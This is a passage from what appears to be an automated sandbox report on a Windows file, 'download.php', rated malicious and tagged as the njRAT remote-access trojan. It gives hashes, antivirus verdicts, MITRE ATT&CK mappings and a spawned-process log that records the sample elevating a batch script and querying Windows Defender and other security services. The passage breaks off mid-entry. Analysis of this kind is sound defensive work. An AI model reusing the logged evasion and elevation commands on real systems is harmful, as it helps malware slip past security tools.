"\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FINDSTR.EXE"; Value: "")4f:T4a9,"download.php.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\1Q37l5.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "download.php.exe" wrote 5777 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\2e2941.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1Q37l5.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\Work\cecho.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...50:T525,RegCloseKey RegDeleteValueA OpenProcessToken RegCreateKeyExA RegOpenKeyExA GetTempFileNameA FindNextFileA CreateProcessA GetStartupInfoW GetVersionExA GetTickCount FindFirstFileA UnhandledExceptionFilter CreateThread WriteFile GetModuleHandleW CreateFileA TerminateProcess GetModuleFileNameA GetFileAttributesA LockResource LoadLibraryA Sleep GetTempPathA LoadLibraryExA DeleteFileA GetSystemInfo FindResourceA GetSystemDirectoryA CreateDirectoryA GetProcAddress GetDriveTypeA CreateDirectoryW GetFileAttributesW CreateFileMappingW FindFirstFileExA GetModuleHandleExW GetCommandLineW VirtualProtect GetModuleFileNameW LoadLibraryW DeviceIoControl GetVersionExW FindResourceW OpenFileMappingW FindNextFileW FindFirstFileW GetCommandLineA GetSystemDirectoryW DeleteFileW MapViewOfFile CreateFileW LoadLibraryExW IsDebuggerPresent GetTempPathW RegOpenKeyExW GetFileSize VirtualAlloc GetModuleHandleA CreateProcessAsUserW StartServiceW OpenProcess FindResourceExW GetTickCount64 SleepEx OutputDebugStringW RegDeleteKeyA GetStartupInfoA ReadProcessMemory CopyFileA Process32First OutputDebugStringA WinExec CreateToolhelp32Snapshot Process32Next ShellExecuteA ShellExecuteExA GetCursorPos GetWindowThreadProcessId GetClipboardData FindWindowA51:T1101,Spawned process "download.php.exe" (UID: 00000000-00002484) Spawned process "1Q37l5.exe" (UID: 00000000-00002924) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\RdRK6XK.bat" "" (UID: 00000000-00003960) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004268) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00005476) Spawned process "2e2941.exe" (UID: 00000000-00004360) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 4360 -ip 4360" (UID: 00000000-00007244) Spawned process "WerFault.exe" with commandline "-u -p 4360 -s 856" (UID: 00000000-00006356) Spawned process "WerFault.exe" with commandline "-u -p 4360 -s 856" (UID: 00000000-00005748) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00007672) Spawned process "NSudoLG.exe" with commandline "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\\RdRK6XK.bat" any_word" (UID: 00000000-00004264) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\RdRK6XK.bat" any_word "" (UID: 00000000-00005668) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00001288) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00003684) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00008148) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00007000) Spawned process "mode.com" with commandline "Mode 79,49" (UID: 00000000-00007748) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00005168) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00007588) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00004980) Spawned process "cmd.exe" with commandline "/c tasklist" (UID: 00000000-00004564) Spawned process "tasklist.exe" (UID: 00000000-00007076) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00005028) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00005408) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00003168) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00005212) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00003844) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00005980) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00000200) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00005176) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00007644) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00003516) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00002768) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00004604) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00007836) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00007200) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00007312)52:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==53:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790342815866,"unified_at":"2026-09-25T13:26:55.866Z","metadata":{"hashes":{"sha256":"7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108","sha1":"cc6a0f7b5c3db54c54add87b8a00d9aa1636fdf8","md5":"ff86507ad5e27779aba76ef9e61daefe","sha512":"b7e4bb88581cae57b22d8a5692f2d89c9608f5cc3f8ee3c633e013dddb93f012562db4a1b61833e87a0c2bb5e833aabc6c49cfd1cd0c8e007fbca44492c2556b","ssdeep":"98304:S8vbFYIx7DjA2UPps52Hy1E3VWQT3rMn:S+bmPphHye3bT3rQ","ssdeep_chunks":["98304:S8vbFYI","98304:8vbFYIx","98304:vbFYIx7","98304:bFYIx7D","98304:FYIx7Dj","98304:YIx7DjA","98304:Ix7DjA2","98304:x7DjA2U","98304:7DjA2UP","98304:DjA2UPp","98304:jA2UPps","98304:A2UPps5","98304:2UPps52","98304:UPps52H","98304:Pps52Hy","98304:ps52Hy1","98304:s52Hy1E","98304:52Hy1E3","98304:2Hy1E3V","98304:Hy1E3VW","98304:y1E3VWQ","98304:1E3VWQT","98304:E3VWQT3","98304:3VWQT3r","98304:VWQT3rM","98304:WQT3rMn","196608:S8vbFYI","196608:8vbFYIx","196608:vbFYIx7","196608:bFYIx7D","196608:FYIx7Dj","196608:YIx7DjA","196608:Ix7DjA2","196608:x7DjA2U","196608:7DjA2UP","196608:DjA2UPp","196608:jA2UPps","196608:A2UPps5","196608:2UPps52","196608:UPps52H","196608:Pps52Hy","196608:ps52Hy1","196608:s52Hy1E","196608:52Hy1E3","196608:2Hy1E3V","196608:Hy1E3VW","196608:y1E3VWQ","196608:1E3VWQT","196608:E3VWQT3","196608:3VWQT3r","196608:VWQT3rM","196608:WQT3rMn","98304:S+bmPph","98304:+bmPphH","98304:bmPphHy","98304:mPphHye","98304:PphHye3","98304:phHye3b","98304:hHye3bT","98304:Hye3bT3","98304:ye3bT3r","98304:e3bT3rQ"],"imphash":"646167cce332c1c252cdcb1839e0cf48"},"file_info":{"file_name":"download.php","file_type":["peexe","executable"],"file_type_id":"exe","file_size":4069376,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1749348570000,"last_seen":1750019029000,"last_multi_scan":1750019029000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["bladabindi","njrat","rat","evasive"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":89},"sandbox_signatures":{"informative_count":202,"suspicious_count":18,"malicious_count":6,"total":226},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.TPM.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Crifi.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Crifi.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Spy.Win32.Redline.lu!heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005aad751 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Packed2.kxwrpb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.JKR.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_44.6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.AgentGen.Win32.94","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Crifi.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"suspicious","value":"Opened the service control manager"},{"type":"informative","value":"Contains ability to execute windows services"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create local account"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","identifiers":[{"type":"malicious","value":"References security related windows services"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API 